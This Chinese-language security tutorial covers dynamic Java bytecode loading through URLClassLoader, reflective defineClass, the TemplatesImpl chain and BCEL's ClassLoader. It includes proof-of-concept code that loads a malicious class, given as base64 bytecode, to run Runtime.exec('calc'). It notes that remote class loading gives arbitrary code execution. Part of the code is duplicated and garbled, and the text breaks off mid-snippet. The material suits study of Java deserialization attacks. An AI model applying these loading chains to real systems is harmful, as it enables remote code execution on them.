java动态加载字节码

Java 动态加载字节码

字节码

Java字节码指的是JVM执⾏使⽤的⼀类指令,通常被存储在 .class ⽂件中

P神的定义:

在这里插入图片描述

利⽤URLClassLoader加载远程/本地class⽂件

在学习完类加载机制,URLClassLoader是AppClassLoader的⽗类 正常情况下(扩展类加载器),Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类) 来寻找 .class ⽂件来加载,这个基础路径有分三种情况:

  • URL未以斜杠 / 结尾,则认为是⼀个Jar⽂件,使⽤JarLoader来寻找类,即在Jar包上寻找类,不以就会认为该 URL 被假定为引用将根据需要打开的 JAR 文件。

  • URL以斜杠 / 结尾,且协议名为file,则使⽤FileLoader来寻找类,即在本地系统中寻找 .class ⽂件

  • URL以斜杠 / 结尾,且协议名不为file,则使⽤最基础的Loader来寻找类

本地加载 .class ⽂件

1
2
3
4
5
6
import java.net.URL;
import java.net.URLClassLoader;
public class urlclassloader { public static void main(String[] args) throws Exception {
URLClassLoader urlclassloader = new URLClassLoader(new URL[]{
new URL("file:///Users/nivia/Desktop/Java/src/")});
Class c = urlclassloader.loadClass("Test"); c.newInstance(); } }

远程加载 .class ⽂件

1
2
3
4
5
6
import java.net.URL; 
import java.net.URLClassLoader;
public class urlclassloader {
public static void main(String[] args) throws Exception {
URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("http://url:port/")});
Class c = urlclassloader.loadClass("Test"); c.newInstance(); } }

加载到的 .class ⽂件会执⾏其字节码 当能够控制⽬标Java ClassLoader的基础路径为⼀个http服务器,则可以⽤远程加载的⽅式执⾏任意代码

利用defineClass直接加载字节码

Java加载都需要经过:

1
ClassLoader.loadClass -> ClassLoader.findClass -> ClassLoader.defineClass
  • loadClass的作⽤是从已经加载的类缓存、⽗加载器等位置寻找类(双亲委派机制),在前⾯没有找到的情况下,执⾏findClass
  • findClass的作⽤就是根据基础URL制定的⽅式来查找类,读取字节码后交给defineClass

defineClass的作⽤是处理前⾯传⼊的字节码,将其处理成真正的Java类

所以真正核心的部分其实是 defineClass

至于再具体的defineClass()方法是如何实现的,就要跟到这个native(本地)方法了:

1
2
3
native方法称为本地方法。在java源程序中以关键字“native”声明,不提供函数体。
其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。
简而言就是Java中声明的可调用的使用C/C++实现的方法。
1
2
3
4
5
6
7
8
protected final Class<?> defineClass(String name, byte[] b, int off, int len,ProtectionDomain protectionDomain)	throws ClassFormatError
{
....
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}
8private native Class<?> defineClass1(String name, byte[] b, int off, int len,ProtectionDomain pd, String source);

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.gk0d;

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+
"Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+
"bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+
"L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
"ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
"OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+
"AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
hello.newInstance();
}
}
//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

里面是Hello.class的base64编码

注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造
函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。详细可以看类的加载过程

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

还可以用IO进行文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DefineClassTest {
   public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
       Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
       defineClass.setAccessible(true);
       byte[] code= Files.readAllBytes(Paths.get("D:\Exec.class"));
       Class Exec = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Exec",code,0,code.length);
       Exec.newInstance();
  }
}

利用TemplatesImpl加载字节码

defineClass方法并不好直接利用,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl ,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

TransletClassLoader#defineClass() 向前追溯一下调用链:

1
2
3
4
5
TransletClassLoader#defineClass() 
-> TemplatesImpl#defineTransletClasses()
-> TemplatesImpl#getTransletInstance()
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getOutputProperties()//后面提到

重点来了怎么利用defineClass() 的呢怎么找的的

搜索defineClass() 发现在defineTransletClasses() 中调用了

TemplatesImpl#defineTransletClasses()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {//记住这个条件
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
//在这里调用了defineClass
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
...
}
1
2
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
1
private byte[][] _bytecodes = null;

这⾥的_bytecodes定义是私有的也没其他搜索也没其他方法修改他,所以,可利⽤反射获取变量进⾏修改 还需要注意,defineTransletClasses⽅法中会执⾏⼀个run⽅法,为了防止报错所以_tfactory不能为空还得为TransformerFactoryImpl对象

1
private transient TransformerFactoryImpl _tfactory = null;

继续看哪里用了这个defineTransletClasses() 方法,搜索发现有三个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 第一个
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
//第二个
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
//第三个
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
....
}

第一个方法为public可以直接调用 之后再说

第二个方法为私有所以往上调看看什么能用它,没有,那没办了

第三方法往上调用发现newTransformer()是个public可以调用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//在这里

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

所以我们可以实例化TemplatesImpl对象直接调用它的方法就能弹计算器了

找到链子了所以跟进去看看条件是什么,方便就直接写进入方法前的代码块了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// newTransformer()方法中进入下一个方法并不需要条件继续
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);}

getTransletInstance()方法
try {
if (_name == null) return null;//name不能为null

if (_class == null) defineTransletClasses();
// 所以这里_class==null才行 继续跟进
{
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
//发现在这里需要一个条件_tfactory前面说过的
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
//虽然到这就结束了
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
//之后的会说这里要求class是AbstractTranslet的子类之后说

问题是怎么控制这些变量,发现都是私有类,且没有构造方法,所以只能用反射了

1
2
3
4
private Class[] _class = null;
private byte[][] _bytecodes = null;
private String _name = null;
private transient TransformerFactoryImpl _tfactory = null;

所以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//不用运行,理解下,为什么之后说
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
public static void main(String[] args) throws Exception {
byte[] bytecodes = Base64.getDecoder().decode("xxxx");
TemplatesImpl mpl =new TemplatesImpl();
Class a = mpl.getClass();
setFieldValue(a,"_name","baicany");
setFieldValue(a,"_bytecodes",bytecodes);
setFieldValue(a,"_class",null);
setFieldValue(a,"_tfactory",new TransformerFactoryImpl());
mpl.newTransformer();
}
public static void setFieldValue(Class a,String name,Object value) throws Exception {
Field field = a.getDeclaredField(name);
field.setAccessible(true);
field.set(a,value);
}
}

可是之前那样这样只是加载了字节码并不会初始化怎么办,就像之前提到过一样

在getTransletInstance()方法中运行了defineTransletClasses()之后会newInstance();还是要这里的实例化才有用,就是这里就能触发我们之前加载的字节码了(所以为什么不跟进那个public方法一样因为不会初始化出来)

1
2
3
4
5
6
7
8
9
10
11
12
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
//_class[_transletIndex]所以这个必须得有

所以要确保进入defineTransletClasses()并不会报错所以得看完defineTransletClasses()里面写的什么,这里函数之前分析过的不再分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//说过_class[_transletIndex]这个必须要有才能实例化,先看确保进入方法是对的再说不然会出问题
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
就是说的
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
}

首先想要不报错if (_transletIndex < 0)必须为flase,所以往上看,发现赋值语句

_transletIndex = i;这里和之前提到的撞上了是吧,只要这个有那之前那个(_class[_transletIndex])也解决了,在往上看要这个要赋值得

1
2
3
 if (superClass.getName().equals(ABSTRACT_TRANSLET)) 为true才行
而这里superclass为Class superClass = _class[i].getSuperclass();
_class[i]怎么来的之前也知道了所以直接都串上了

所以条件要_bytecodes[i]的父类为AbstractTranslet才行

1
2
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

至于外部加载类怎么写的弹计算器

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.lagou;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class io extends AbstractTranslet {
public io() throws IOException {
Runtime.getRuntime().exec("cacl");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

解释以下为什么多了两个transform方法,然后将它编译+base64编码了javac io.java | cat io.class|base64

1
2
3
4
5
这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现,
这时子类如果不是抽象的,那必须将其他接口方法都实现。
这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)
是父类里面的抽象方法所以要重写
transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//poc
package com.lagou;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;


public class Main {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" +
"AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" +
"L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" +
"b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" +
"cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" +
"ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" +
"ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" +
"QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" +
"VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" +
"L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" +
"ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" +
"cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" +
"AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" +
"AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" +
"AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=");
TemplatesImpl mpl =new TemplatesImpl();
setFieldValue(mpl,"_name","baicany");
setFieldValue(mpl,"_bytecodes",new byte[][]{code});
setFieldValue(mpl,"_class",null);
setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());
mpl.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}
}mpl,"_class",null);
setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());
mpl.newTransformer();
}
public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, Value);
}
}

弹出计算器

利用BCEL ClassLoader加载字节码

关于BCEL先看看p神的:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看,使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel。

JAXP全名是Java API for XML Processing 是Java定义的⼀系列接⼝,⽤于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关 的部分,其中包括xsltc compiler。 xsltc compiler是⼀个命令⾏编辑器,可以将⼀个xsl⽂件编译成⼀个class⽂件或者jar⽂件

XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。

BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法

在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode

1
2
3
4
5
6
  if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

调用deifine方法

编写恶意类

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class calc{
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}

}

然后通过BCEL提供的两个类Repositoryutility来利用:

1
2
Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得)提供了lookupClass⽅法⽤于加载⼀个类
utility用于将原生字节码转换成BCEL格式的字节码

poc

1
2
3
4
5
6
7
8
9
10
11
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class l {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(calc.class);
String code = Utility.encode(clazz.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();